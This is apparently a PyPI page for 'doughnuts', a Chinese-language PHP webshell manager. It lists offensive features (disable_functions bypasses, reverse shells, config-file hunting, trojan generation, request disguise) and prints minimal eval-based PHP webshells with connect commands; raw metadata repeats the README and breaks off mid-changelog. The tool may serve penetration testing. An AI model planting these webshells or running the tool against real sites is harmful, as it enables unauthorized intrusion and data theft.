doughnuts


Namedoughnuts JSON
Version 3.3.1 PyPI version JSON
download
home_pagehttps://github.com/way29/doughnuts
SummaryA webshell manager for PHP
upload_time2020-07-08 05:37:41
maintainer
docs_urlNone
authorWAY29
requires_python>=3.6,<4.0
licenseMIT
keywords
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # Doughnuts

*一个基于Python3.6+的PHPwebshell管理器*

![1](https://i.loli.net/2020/06/30/AURc6HN3PokZKWY.png) 

![2](https://i.loli.net/2020/06/30/op9R7JWtsBKXm6Z.png)

![3](https://i.loli.net/2020/06/30/VdAMHCyFIrle5wW.png)

![4](https://i.loli.net/2020/06/30/TpARQcw358XJx1I.png)

## 使用文档

***终于迎来了新的使用文档!***

详细使用文档请前往[此页面](http://doughnuts.cc/)进行查看。

## 特征

- 支持连接,记录,管理webshell,方便下一次连接
- 基于eval的连接,支持GET,POST,COOKIE,HEADER四种连接方式
- 请求伪装
- 支持编码payload(已内置base64,str_rot13,hex,doughnuts四种编码,可以通过添加encode文件夹中的py文件进行扩展),以实现连接带有解码的webshell
- 支持绕过open_basedir
- 支持多种方式绕过disable_functions
    - 自动识别
    - php7-backtrace
    - php7-gc
    - php7-json
    - LD_PRELOAD
    - FFI
    - COM
    - imap_open
- 核心功能
    - 获取网站,系统信息
    - 输出disbale_functions
    - 寻找可写的PHP文件(以树状结构显示)
    - 寻找配置文件(文件名中包含cfg/config/db/database) 也可以通过修改代码来支持寻找更多的文件(以树状结构显示)
    - 执行自定义的php代码
    - 获取一个临时的非完全交互式shell和webshell
    - 正向/反弹shell
    - (仅限双方均为*unix)获取完全交互式的反弹shell
    - 读/写/上传/下载/删除/搜索文件,目录打包
    - 数据库管理
    - 端口扫描
    - 内网网页文本式浏览代理,可自定义请求方法和数据
    - 开启socks5服务器
- 易于扩展

## 依赖

- Python3.6+
- Python-requests
- Python-pysocks
- Python-colorama
- Python-prettytable

## 安装/运行方法

***请在3.2版本之前运行过`python3 -m doughnuts.install`安装的朋友在更新3.2版本之后重新执行此命令!***

- 使用pip安装

```sh
# 安装
python3 -m pip install doughnuts --user -i https://pypi.org/simple/
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 -m doughnuts.install
# 运行
doughnuts
# 或
python3 -m doughnuts
# enjoy it!
```

- 通过poetry安装

```sh
pyton3 -m pip install poetry # 或其他方法安装python-poetry
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts
# debian/ubuntu系统需要运行此命令
apt-get install python3-venv
# 安装
poetry install
# 运行
poetry run python3 Doughnuts/doughnuts.py # 应该对所有系统生效
# enjoy it!
```

- 直接安装

```sh
# 安装PYTHON 3.6+
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts/doughnuts
pip3 install -r requirements.txt 或 pip3 install requests pysocks colorma prettytable
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 install.py
# 运行
doughnuts
# 或
python3 doughnuts.py
# enjoy it!
```

## 使用例子

*由于windows原因,在windows命令行连接下不支持&符号连接参数。
尽量将额外参数包裹引号进行传递,且逐一拆分。
好的习惯:"data:a=123" "data:b=456"
坏的习惯:"data:a=123&b=456" (在windows命令行下会连接失败)*

1. 普通webshell:

    - 最平凡的webshell:

        ```php
        //test1.php
        <?php
        error_reporting(0);
        eval($_POST['2333']);
        ?>
      ```
      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
      ```
      connect http://localhost/test1.php POST 2333
      ```
      
    - 带解码的webshell:

        ```php
        //test2.php
        <?php
        error_reporting(0);
        eval(str_rot13(base64_decode($_REQUEST['2333'])));
        ?>
      ```
    那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
      
      ```
      connect http://localhost/test2.php POST 2333 rot13 base64
      ```
      
    - 需要额外参数与解码的webshell:

        ```php
        //test3.php
        <?php
        if(@md5($_POST['a']) == "202cb962ac59075b964b07152d234b70"){  // a=123
        	@eval(base64_decode($_POST['2333']));
        }
        ```

        那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:

        ```
        connect http://localhost/test.php POST 2333 base64 "data:a=123"
        ```

2. 生成webshell:

    1. 在执行`python3 -m doughnuts.install`之后执行`doughnuts generate a.php POST pass salt 1`在当前目录下生成Pudding类型的webshell:a.php
    2. 上传a.php,根据提示执行 `doughnuts connect {木马url} POST pass doughnuts-salt `连接至webshell




## 参考

- https://github.com/WangYihang/Webshell-Sniper
- https://github.com/epinna/weevely3

## 更新日志


### 3.3
- 请求时添加随机Referer与UA进行伪装
- 新增依赖 pysocks
- 新增命令
    - proxy命令(通用)  设置连接代理,支持socks,http代理
    - fl命令(通用) 类似于fc命令,寻找access.log与error.log日志
- 修改命令
    - db系列命令 现在支持使用PDO扩展来连接其他数据库
    - db_init 添加参数,支持使用PDO连接其他数据库。参数db_init {host} {username} {password} {dbname=''} {port=0} {dbms='mysql'}
    - touch命令 增加创建空文件的功能(不限目标系统)
- 修复bug
    - 在某些情况下调用外带编辑器失败
    - ls后输入相关命令无法补全文件夹名
- 修改文本


### V3.2
- 新增命令
    - lsh|!命令(通用) 在当前机器中运行命令,可用于切换工作目录
    - debug命令(通用但不在帮助菜单中显示) debug SEND/LOOP 开启/关闭SEND/LOOP的调试()调试专用
    - **generate|gen命令 (初始界面) 生成php木马,使用自制的编码方式进行编码**
        - generate的调用方式:
        - 直接在交互式界面外调用:
            - 在执行`python3 -m doughnuts.install`后:`doughnuts generate a.php POST 123 1`
            - `python3 doughnuts.py generate a.php POST 123`
        - 在交互式界面调用:
            - `doughnutsgenerate a.php POST 123`
- 修改命令
    - search命令 现在search命令的调用方式为: `search {pattern} {web_file_path}`,支持正则表达式
    - c|connect 命令 (初始界面) 现在支持额外参数,并且可以在交互式界面外调用,如:
        - 在执行`python3 -m doughnuts.install`后:`doughnuts connect http://127.0.0.1/eval.php POST asd data:a=123` 
    - ls|dir 命令 现在支持模式选择:scandir(1)/glob(2)
    - write、edit、execute支持调用自定义的编辑器
- 修改项目结构
- 修改文本错误
- 修复bug


### V3.1
- 新增命令
    - rm命令(初始界面) 删除指定webshell记录
    - log命令(通用) (只支持*unix)将输入与输出记录到日志中


### V3.0
- 重新修改了bdf的顺序,添加了新模式
    - -1:close
    - auto: 自动识别
    - 0(默认):查看bdf当前状态
    - 1:php7-backtrace
    - 2:php7-gc
    - 3:php7-json
    - 4:LD_PRELOAD
    - 5:FFI
    - 6:COM
    - 7:imap_open
- 修改命令参数解析,使用shlex库进行解析
- 修复了一些在终端输入的bug
- 使用LD_PRELOAD来绕过disable_functions,在退出后会尝试自动清理


### V2.9
- 修改了bdf模式顺序,原模式2-3顺移为3-4,新增bdf命令模式
    - mode2 php7-json
        - 利用php-json反序列化绕过disable_functions
    - mode5 COM
        - 利用windows组件绕过disable_functions



### V2.8
- 修复一堆bug
- 新增bdf命令模式
    - mode2 LD_PRELOAD
        - 利用ld_preload绕过disable_functions,需要上传编译好的.so文件,若自带的.so文件不起效,请在auxiliary找到ld_preload.c自行在于目标近似的环境下编译并覆盖原文件
    - mode3 FFI
        - 利用FFI扩展绕过disable_functions,需要PHP7.4及以上


### V2.7
- 一些细微的调整
- 修改核心逻辑
- 添加命令
    - bdf 尝试绕过disable_functions.目前只支持php7-backtrace这个模式
    - bobd 尝试利用ini_set与chdir绕过open_basedir.


### V2.6
- 修复bug
- 修改命令
    - shell 可以非交互运行一句系统命令
    - webshell 可以非交互运行一句webshell代码
- 添加命令
    - execute 调用notepad/vi运行一段自定义的php代码
    - getenv 获取php环境变量


### V2.5
- 新增依赖 prettytable
- 添加一系列数据库管理命令
    - db_init 初始化数据库连接
    - db_info 输出数据库信息
    - db_use 修改当前所在数据库
    - db_dbs 输出所有数据库信息
    - db_tables 输出某个数据库的所有表信息
    - db_columns 输出某个表的所有字段信息
    - db_shell 获得一个临时的sql shell


### V2.4
- 继续优化输入,现在支持历史命令补全,命令补全以及执行ls之后的文件(夹)名补全


### V2.3
- 尝试绕过disable_functions寻找可执行的系统命令函数
- 请求错误处理
- read命令更名为cat命令,别名为c
- 添加move(mv),chmod命令


### V2.2
- 重写输入,现在支持按下ctrl+c与ctrl+d
- 添加clear命令


### V2.1
- 修改windows环境下python反弹shell上传位置,并使其可以返回错误
- 修改帮助菜单为等宽
- 添加socks命令,用于在目标主机中开启socks5服务器


### V2.0

- 修复一个BUG曾导致无法连接php7的webshell
- 修复一个BUG曾导致help无法输出对应的帮助
- 修改help命令的别名为?,现在只输入?或help将输出帮助菜单
- 修改info输出的信息
- 修改各个函数的帮助信息,变得更加统一
- 重写fc与fwpf命令,重写树状输出
- 新增ls,bindshell(only for *unix)命令

### V1.9
- 添加search命令,使用glob函数递归搜索文件.命令格式为search {pattern}

### V1.8
- 优化连接时发送的请求,从发送三次变成发送2次
- 修改pdf命令的逻辑,在连接时获取
- 优化reshell命令,命令格式为reshell {lhost} {port} {type=[python|script|upload]{1|2|3},default = 0 (Python:1 Not Python:3)} {(Only for Mode 2) fakename=/usr/lib/systemd} 三种模式分别为:1->使用python pty模块升级, 2->使用linux自带的script命令升级, 3->上传一个反弹pty的二进制文件并运行(可以伪造进程名,若无法反弹请进入libs目录拿取源码,使用目标相同发行版进行编译后覆盖原reverse_server_light文件)


### V1.7

- 修改reshell命令,修复bug,优化体验,可以随意伪装进程名
- 在libs目录下放置reverse_server_light的源码,方便编译与修改(origin:https://github.com/QAX-A-Team/ptyshell)
- 重写portscan,支持三种扫描方式


### V1.6

- 修复了若干bug
- 添加了reshell命令,监听本地端口,并让目标反弹一个完整交互式的shell(仅限双方系统都是linux且可能存在一定的问题)


### V1.5

- modify指令现在会调用notepad/vim进行编辑
- write指令现在会调用notepad/vim进行编辑
- dump命令现在使用原始php代码进行压缩,可以压缩子目录
- 优化了发送payload的间隔符

### V1.4

- 添加指令:修改文件
- 关闭debug模式
- 修复了某些情况下fwpf,fc指令无法使用的情况,现在发送数据时会关闭错误提示


## 免责声明

本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.


            

Raw data

            {
    "_id": null,
    "home_page": "https://github.com/way29/doughnuts",
    "name": "doughnuts",
    "maintainer": "",
    "docs_url": null,
    "requires_python": ">=3.6,<4.0",
    "maintainer_email": "",
    "keywords": "",
    "author": "WAY29",
    "author_email": "toloveu29@gmail.com",
    "download_url": "https://files.pythonhosted.org/packages/48/14/f0418996395d8ff883f23ccb0c5c0bab8cc340d060884e584ea97f30245a/doughnuts-3.3.1.tar.gz",
    "platform": "",
    "description": "# Doughnuts\n\n*\u4e00\u4e2a\u57fa\u4e8ePython3.6+\u7684PHPwebshell\u7ba1\u7406\u5668*\n\n![1](https://i.loli.net/2020/06/30/AURc6HN3PokZKWY.png) \n\n![2](https://i.loli.net/2020/06/30/op9R7JWtsBKXm6Z.png)\n\n![3](https://i.loli.net/2020/06/30/VdAMHCyFIrle5wW.png)\n\n![4](https://i.loli.net/2020/06/30/TpARQcw358XJx1I.png)\n\n## \u4f7f\u7528\u6587\u6863\n\n***\u7ec8\u4e8e\u8fce\u6765\u4e86\u65b0\u7684\u4f7f\u7528\u6587\u6863\uff01***\n\n\u8be6\u7ec6\u4f7f\u7528\u6587\u6863\u8bf7\u524d\u5f80[\u6b64\u9875\u9762](http://doughnuts.cc/)\u8fdb\u884c\u67e5\u770b\u3002\n\n## \u7279\u5f81\n\n- \u652f\u6301\u8fde\u63a5,\u8bb0\u5f55,\u7ba1\u7406webshell,\u65b9\u4fbf\u4e0b\u4e00\u6b21\u8fde\u63a5\n- \u57fa\u4e8eeval\u7684\u8fde\u63a5,\u652f\u6301GET,POST,COOKIE,HEADER\u56db\u79cd\u8fde\u63a5\u65b9\u5f0f\n- \u8bf7\u6c42\u4f2a\u88c5\n- \u652f\u6301\u7f16\u7801payload(\u5df2\u5185\u7f6ebase64,str_rot13,hex,doughnuts\u56db\u79cd\u7f16\u7801,\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0encode\u6587\u4ef6\u5939\u4e2d\u7684py\u6587\u4ef6\u8fdb\u884c\u6269\u5c55),\u4ee5\u5b9e\u73b0\u8fde\u63a5\u5e26\u6709\u89e3\u7801\u7684webshell\n- \u652f\u6301\u7ed5\u8fc7open_basedir\n- \u652f\u6301\u591a\u79cd\u65b9\u5f0f\u7ed5\u8fc7disable_functions\n    - \u81ea\u52a8\u8bc6\u522b\n    - php7-backtrace\n    - php7-gc\n    - php7-json\n    - LD_PRELOAD\n    - FFI\n    - COM\n    - imap_open\n- \u6838\u5fc3\u529f\u80fd\n    - \u83b7\u53d6\u7f51\u7ad9,\u7cfb\u7edf\u4fe1\u606f\n    - \u8f93\u51fadisbale_functions\n    - \u5bfb\u627e\u53ef\u5199\u7684PHP\u6587\u4ef6(\u4ee5\u6811\u72b6\u7ed3\u6784\u663e\u793a)\n    - \u5bfb\u627e\u914d\u7f6e\u6587\u4ef6(\u6587\u4ef6\u540d\u4e2d\u5305\u542bcfg/config/db/database) \u4e5f\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539\u4ee3\u7801\u6765\u652f\u6301\u5bfb\u627e\u66f4\u591a\u7684\u6587\u4ef6(\u4ee5\u6811\u72b6\u7ed3\u6784\u663e\u793a)\n    - \u6267\u884c\u81ea\u5b9a\u4e49\u7684php\u4ee3\u7801\n    - \u83b7\u53d6\u4e00\u4e2a\u4e34\u65f6\u7684\u975e\u5b8c\u5168\u4ea4\u4e92\u5f0fshell\u548cwebshell\n    - \u6b63\u5411/\u53cd\u5f39shell\n    - (\u4ec5\u9650\u53cc\u65b9\u5747\u4e3a*unix)\u83b7\u53d6\u5b8c\u5168\u4ea4\u4e92\u5f0f\u7684\u53cd\u5f39shell\n    - \u8bfb/\u5199/\u4e0a\u4f20/\u4e0b\u8f7d/\u5220\u9664/\u641c\u7d22\u6587\u4ef6,\u76ee\u5f55\u6253\u5305\n    - \u6570\u636e\u5e93\u7ba1\u7406\n    - \u7aef\u53e3\u626b\u63cf\n    - \u5185\u7f51\u7f51\u9875\u6587\u672c\u5f0f\u6d4f\u89c8\u4ee3\u7406\uff0c\u53ef\u81ea\u5b9a\u4e49\u8bf7\u6c42\u65b9\u6cd5\u548c\u6570\u636e\n    - \u5f00\u542fsocks5\u670d\u52a1\u5668\n- \u6613\u4e8e\u6269\u5c55\n\n## \u4f9d\u8d56\n\n- Python3.6+\n- Python-requests\n- Python-pysocks\n- Python-colorama\n- Python-prettytable\n\n## \u5b89\u88c5/\u8fd0\u884c\u65b9\u6cd5\n\n***\u8bf7\u57283.2\u7248\u672c\u4e4b\u524d\u8fd0\u884c\u8fc7`python3 -m doughnuts.install`\u5b89\u88c5\u7684\u670b\u53cb\u5728\u66f4\u65b03.2\u7248\u672c\u4e4b\u540e\u91cd\u65b0\u6267\u884c\u6b64\u547d\u4ee4!***\n\n- \u4f7f\u7528pip\u5b89\u88c5\n\n```sh\n# \u5b89\u88c5\npython3 -m pip install doughnuts --user -i https://pypi.org/simple/\n# (windows)\u6dfb\u52a0\u4e00\u4e2abat\u6587\u4ef6\u5230python\u6839\u76ee\u5f55\u4e0b\n# (*unix)\u6dfb\u52a0\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u5230/usr/local/bin\u4e0b\n# \u5b89\u88c5\u542f\u52a8\u5668,\u4ee5\u65b9\u4fbf\u8c03\u7528\npython3 -m doughnuts.install\n# \u8fd0\u884c\ndoughnuts\n# \u6216\npython3 -m doughnuts\n# enjoy it!\n```\n\n- \u901a\u8fc7poetry\u5b89\u88c5\n\n```sh\npyton3 -m pip install poetry # \u6216\u5176\u4ed6\u65b9\u6cd5\u5b89\u88c5python-poetry\ngit clone https://github.com/WAY29/Doughnuts.git\ncd Doughnuts\n# debian/ubuntu\u7cfb\u7edf\u9700\u8981\u8fd0\u884c\u6b64\u547d\u4ee4\napt-get install python3-venv\n# \u5b89\u88c5\npoetry install\n# \u8fd0\u884c\npoetry run python3 Doughnuts/doughnuts.py # \u5e94\u8be5\u5bf9\u6240\u6709\u7cfb\u7edf\u751f\u6548\n# enjoy it!\n```\n\n- \u76f4\u63a5\u5b89\u88c5\n\n```sh\n# \u5b89\u88c5PYTHON 3.6+\ngit clone https://github.com/WAY29/Doughnuts.git\ncd Doughnuts/doughnuts\npip3 install -r requirements.txt \u6216 pip3 install requests pysocks colorma prettytable\n# (windows)\u6dfb\u52a0\u4e00\u4e2abat\u6587\u4ef6\u5230python\u6839\u76ee\u5f55\u4e0b\n# (*unix)\u6dfb\u52a0\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u5230/usr/local/bin\u4e0b\n# \u5b89\u88c5\u542f\u52a8\u5668,\u4ee5\u65b9\u4fbf\u8c03\u7528\npython3 install.py\n# \u8fd0\u884c\ndoughnuts\n# \u6216\npython3 doughnuts.py\n# enjoy it!\n```\n\n## \u4f7f\u7528\u4f8b\u5b50\n\n*\u7531\u4e8ewindows\u539f\u56e0\uff0c\u5728windows\u547d\u4ee4\u884c\u8fde\u63a5\u4e0b\u4e0d\u652f\u6301&\u7b26\u53f7\u8fde\u63a5\u53c2\u6570\u3002\n\u5c3d\u91cf\u5c06\u989d\u5916\u53c2\u6570\u5305\u88f9\u5f15\u53f7\u8fdb\u884c\u4f20\u9012\uff0c\u4e14\u9010\u4e00\u62c6\u5206\u3002\n\u597d\u7684\u4e60\u60ef:\"data:a=123\" \"data:b=456\"\n\u574f\u7684\u4e60\u60ef:\"data:a=123&b=456\" (\u5728windows\u547d\u4ee4\u884c\u4e0b\u4f1a\u8fde\u63a5\u5931\u8d25)*\n\n1. \u666e\u901awebshell:\n\n    - \u6700\u5e73\u51e1\u7684webshell:\n\n        ```php\n        //test1.php\n        <?php\n        error_reporting(0);\n        eval($_POST['2333']);\n        ?>\n      ```\n      \u90a3\u4e48\u53ea\u9700\u8981\u8fd0\u884cDoughnuts.py,\u5e76\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4,\u5373\u53ef\u6210\u529f\u8fde\u63a5\u81f3webshell:\n      ```\n      connect http://localhost/test1.php POST 2333\n      ```\n      \n    - \u5e26\u89e3\u7801\u7684webshell:\n\n        ```php\n        //test2.php\n        <?php\n        error_reporting(0);\n        eval(str_rot13(base64_decode($_REQUEST['2333'])));\n        ?>\n      ```\n    \u90a3\u4e48\u53ea\u9700\u8981\u8fd0\u884cDoughnuts.py,\u5e76\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4,\u5373\u53ef\u6210\u529f\u8fde\u63a5\u81f3webshell:\n      \n      ```\n      connect http://localhost/test2.php POST 2333 rot13 base64\n      ```\n      \n    - \u9700\u8981\u989d\u5916\u53c2\u6570\u4e0e\u89e3\u7801\u7684webshell:\n\n        ```php\n        //test3.php\n        <?php\n        if(@md5($_POST['a']) == \"202cb962ac59075b964b07152d234b70\"){  // a=123\n        \t@eval(base64_decode($_POST['2333']));\n        }\n        ```\n\n        \u90a3\u4e48\u53ea\u9700\u8981\u8fd0\u884cDoughnuts.py,\u5e76\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4,\u5373\u53ef\u6210\u529f\u8fde\u63a5\u81f3webshell:\n\n        ```\n        connect http://localhost/test.php POST 2333 base64 \"data:a=123\"\n        ```\n\n2. \u751f\u6210webshell:\n\n    1. \u5728\u6267\u884c`python3 -m doughnuts.install`\u4e4b\u540e\u6267\u884c`doughnuts generate a.php POST pass salt 1`\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u751f\u6210Pudding\u7c7b\u578b\u7684webshell:a.php\n    2. \u4e0a\u4f20a.php,\u6839\u636e\u63d0\u793a\u6267\u884c `doughnuts connect {\u6728\u9a6curl} POST pass doughnuts-salt `\u8fde\u63a5\u81f3webshell\n\n\n\n\n## \u53c2\u8003\n\n- https://github.com/WangYihang/Webshell-Sniper\n- https://github.com/epinna/weevely3\n\n## \u66f4\u65b0\u65e5\u5fd7\n\n\n### 3.3\n- \u8bf7\u6c42\u65f6\u6dfb\u52a0\u968f\u673aReferer\u4e0eUA\u8fdb\u884c\u4f2a\u88c5\n- \u65b0\u589e\u4f9d\u8d56 pysocks\n- \u65b0\u589e\u547d\u4ee4\n    - proxy\u547d\u4ee4(\u901a\u7528)  \u8bbe\u7f6e\u8fde\u63a5\u4ee3\u7406,\u652f\u6301socks,http\u4ee3\u7406\n    - fl\u547d\u4ee4(\u901a\u7528) \u7c7b\u4f3c\u4e8efc\u547d\u4ee4\uff0c\u5bfb\u627eaccess.log\u4e0eerror.log\u65e5\u5fd7\n- \u4fee\u6539\u547d\u4ee4\n    - db\u7cfb\u5217\u547d\u4ee4 \u73b0\u5728\u652f\u6301\u4f7f\u7528PDO\u6269\u5c55\u6765\u8fde\u63a5\u5176\u4ed6\u6570\u636e\u5e93\n    - db_init \u6dfb\u52a0\u53c2\u6570\uff0c\u652f\u6301\u4f7f\u7528PDO\u8fde\u63a5\u5176\u4ed6\u6570\u636e\u5e93\u3002\u53c2\u6570db_init {host} {username} {password} {dbname=''} {port=0} {dbms='mysql'}\n    - touch\u547d\u4ee4 \u589e\u52a0\u521b\u5efa\u7a7a\u6587\u4ef6\u7684\u529f\u80fd\uff08\u4e0d\u9650\u76ee\u6807\u7cfb\u7edf\uff09\n- \u4fee\u590dbug\n    - \u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\u8c03\u7528\u5916\u5e26\u7f16\u8f91\u5668\u5931\u8d25\n    - ls\u540e\u8f93\u5165\u76f8\u5173\u547d\u4ee4\u65e0\u6cd5\u8865\u5168\u6587\u4ef6\u5939\u540d\n- \u4fee\u6539\u6587\u672c\n\n\n### V3.2\n- \u65b0\u589e\u547d\u4ee4\n    - lsh|!\u547d\u4ee4(\u901a\u7528) \u5728\u5f53\u524d\u673a\u5668\u4e2d\u8fd0\u884c\u547d\u4ee4,\u53ef\u7528\u4e8e\u5207\u6362\u5de5\u4f5c\u76ee\u5f55\n    - debug\u547d\u4ee4(\u901a\u7528\u4f46\u4e0d\u5728\u5e2e\u52a9\u83dc\u5355\u4e2d\u663e\u793a) debug SEND/LOOP \u5f00\u542f/\u5173\u95edSEND/LOOP\u7684\u8c03\u8bd5()\u8c03\u8bd5\u4e13\u7528\n    - **generate|gen\u547d\u4ee4 (\u521d\u59cb\u754c\u9762) \u751f\u6210php\u6728\u9a6c,\u4f7f\u7528\u81ea\u5236\u7684\u7f16\u7801\u65b9\u5f0f\u8fdb\u884c\u7f16\u7801**\n        - generate\u7684\u8c03\u7528\u65b9\u5f0f:\n        - \u76f4\u63a5\u5728\u4ea4\u4e92\u5f0f\u754c\u9762\u5916\u8c03\u7528:\n            - \u5728\u6267\u884c`python3 -m doughnuts.install`\u540e:`doughnuts generate a.php POST 123 1`\n            - `python3 doughnuts.py generate a.php POST 123`\n        - \u5728\u4ea4\u4e92\u5f0f\u754c\u9762\u8c03\u7528:\n            - `doughnutsgenerate a.php POST 123`\n- \u4fee\u6539\u547d\u4ee4\n    - search\u547d\u4ee4 \u73b0\u5728search\u547d\u4ee4\u7684\u8c03\u7528\u65b9\u5f0f\u4e3a: `search {pattern} {web_file_path}`,\u652f\u6301\u6b63\u5219\u8868\u8fbe\u5f0f\n    - c|connect \u547d\u4ee4 (\u521d\u59cb\u754c\u9762) \u73b0\u5728\u652f\u6301\u989d\u5916\u53c2\u6570,\u5e76\u4e14\u53ef\u4ee5\u5728\u4ea4\u4e92\u5f0f\u754c\u9762\u5916\u8c03\u7528,\u5982:\n        - \u5728\u6267\u884c`python3 -m doughnuts.install`\u540e:`doughnuts connect http://127.0.0.1/eval.php POST asd data:a=123` \n    - ls|dir \u547d\u4ee4 \u73b0\u5728\u652f\u6301\u6a21\u5f0f\u9009\u62e9\uff1ascandir(1)/glob(2)\n    - write\u3001edit\u3001execute\u652f\u6301\u8c03\u7528\u81ea\u5b9a\u4e49\u7684\u7f16\u8f91\u5668\n- \u4fee\u6539\u9879\u76ee\u7ed3\u6784\n- \u4fee\u6539\u6587\u672c\u9519\u8bef\n- \u4fee\u590dbug\n\n\n### V3.1\n- \u65b0\u589e\u547d\u4ee4\n    - rm\u547d\u4ee4(\u521d\u59cb\u754c\u9762) \u5220\u9664\u6307\u5b9awebshell\u8bb0\u5f55\n    - log\u547d\u4ee4(\u901a\u7528) (\u53ea\u652f\u6301*unix)\u5c06\u8f93\u5165\u4e0e\u8f93\u51fa\u8bb0\u5f55\u5230\u65e5\u5fd7\u4e2d\n\n\n### V3.0\n- \u91cd\u65b0\u4fee\u6539\u4e86bdf\u7684\u987a\u5e8f,\u6dfb\u52a0\u4e86\u65b0\u6a21\u5f0f\n    - -1:close\n    - auto: \u81ea\u52a8\u8bc6\u522b\n    - 0(\u9ed8\u8ba4):\u67e5\u770bbdf\u5f53\u524d\u72b6\u6001\n    - 1:php7-backtrace\n    - 2:php7-gc\n    - 3:php7-json\n    - 4:LD_PRELOAD\n    - 5:FFI\n    - 6:COM\n    - 7:imap_open\n- \u4fee\u6539\u547d\u4ee4\u53c2\u6570\u89e3\u6790,\u4f7f\u7528shlex\u5e93\u8fdb\u884c\u89e3\u6790\n- \u4fee\u590d\u4e86\u4e00\u4e9b\u5728\u7ec8\u7aef\u8f93\u5165\u7684bug\n- \u4f7f\u7528LD_PRELOAD\u6765\u7ed5\u8fc7disable_functions,\u5728\u9000\u51fa\u540e\u4f1a\u5c1d\u8bd5\u81ea\u52a8\u6e05\u7406\n\n\n### V2.9\n- \u4fee\u6539\u4e86bdf\u6a21\u5f0f\u987a\u5e8f,\u539f\u6a21\u5f0f2-3\u987a\u79fb\u4e3a3-4,\u65b0\u589ebdf\u547d\u4ee4\u6a21\u5f0f\n    - mode2 php7-json\n        - \u5229\u7528php-json\u53cd\u5e8f\u5217\u5316\u7ed5\u8fc7disable_functions\n    - mode5 COM\n        - \u5229\u7528windows\u7ec4\u4ef6\u7ed5\u8fc7disable_functions\n\n\n\n### V2.8\n- \u4fee\u590d\u4e00\u5806bug\n- \u65b0\u589ebdf\u547d\u4ee4\u6a21\u5f0f\n    - mode2 LD_PRELOAD\n        - \u5229\u7528ld_preload\u7ed5\u8fc7disable_functions,\u9700\u8981\u4e0a\u4f20\u7f16\u8bd1\u597d\u7684.so\u6587\u4ef6,\u82e5\u81ea\u5e26\u7684.so\u6587\u4ef6\u4e0d\u8d77\u6548,\u8bf7\u5728auxiliary\u627e\u5230ld_preload.c\u81ea\u884c\u5728\u4e8e\u76ee\u6807\u8fd1\u4f3c\u7684\u73af\u5883\u4e0b\u7f16\u8bd1\u5e76\u8986\u76d6\u539f\u6587\u4ef6\n    - mode3 FFI\n        - \u5229\u7528FFI\u6269\u5c55\u7ed5\u8fc7disable_functions,\u9700\u8981PHP7.4\u53ca\u4ee5\u4e0a\n\n\n### V2.7\n- \u4e00\u4e9b\u7ec6\u5fae\u7684\u8c03\u6574\n- \u4fee\u6539\u6838\u5fc3\u903b\u8f91\n- \u6dfb\u52a0\u547d\u4ee4\n    - bdf \u5c1d\u8bd5\u7ed5\u8fc7disable_functions.\u76ee\u524d\u53ea\u652f\u6301php7-backtrace\u8fd9\u4e2a\u6a21\u5f0f\n    - bobd \u5c1d\u8bd5\u5229\u7528ini_set\u4e0echdir\u7ed5\u8fc7open_basedir.\n\n\n### V2.6\n- \u4fee\u590dbug\n- \u4fee\u6539\u547d\u4ee4\n    - shell \u53ef\u4ee5\u975e\u4ea4\u4e92\u8fd0\u884c\u4e00\u53e5\u7cfb\u7edf\u547d\u4ee4\n    - webshell \u53ef\u4ee5\u975e\u4ea4\u4e92\u8fd0\u884c\u4e00\u53e5webshell\u4ee3\u7801\n- \u6dfb\u52a0\u547d\u4ee4\n    - execute \u8c03\u7528notepad/vi\u8fd0\u884c\u4e00\u6bb5\u81ea\u5b9a\u4e49\u7684php\u4ee3\u7801\n    - getenv \u83b7\u53d6php\u73af\u5883\u53d8\u91cf\n\n\n### V2.5\n- \u65b0\u589e\u4f9d\u8d56 prettytable\n- \u6dfb\u52a0\u4e00\u7cfb\u5217\u6570\u636e\u5e93\u7ba1\u7406\u547d\u4ee4\n    - db_init \u521d\u59cb\u5316\u6570\u636e\u5e93\u8fde\u63a5\n    - db_info \u8f93\u51fa\u6570\u636e\u5e93\u4fe1\u606f\n    - db_use \u4fee\u6539\u5f53\u524d\u6240\u5728\u6570\u636e\u5e93\n    - db_dbs \u8f93\u51fa\u6240\u6709\u6570\u636e\u5e93\u4fe1\u606f\n    - db_tables \u8f93\u51fa\u67d0\u4e2a\u6570\u636e\u5e93\u7684\u6240\u6709\u8868\u4fe1\u606f\n    - db_columns \u8f93\u51fa\u67d0\u4e2a\u8868\u7684\u6240\u6709\u5b57\u6bb5\u4fe1\u606f\n    - db_shell \u83b7\u5f97\u4e00\u4e2a\u4e34\u65f6\u7684sql shell\n\n\n### V2.4\n- \u7ee7\u7eed\u4f18\u5316\u8f93\u5165,\u73b0\u5728\u652f\u6301\u5386\u53f2\u547d\u4ee4\u8865\u5168,\u547d\u4ee4\u8865\u5168\u4ee5\u53ca\u6267\u884cls\u4e4b\u540e\u7684\u6587\u4ef6(\u5939)\u540d\u8865\u5168\n\n\n### V2.3\n- \u5c1d\u8bd5\u7ed5\u8fc7disable_functions\u5bfb\u627e\u53ef\u6267\u884c\u7684\u7cfb\u7edf\u547d\u4ee4\u51fd\u6570\n- \u8bf7\u6c42\u9519\u8bef\u5904\u7406\n- read\u547d\u4ee4\u66f4\u540d\u4e3acat\u547d\u4ee4,\u522b\u540d\u4e3ac\n- \u6dfb\u52a0move(mv),chmod\u547d\u4ee4\n\n\n### V2.2\n- 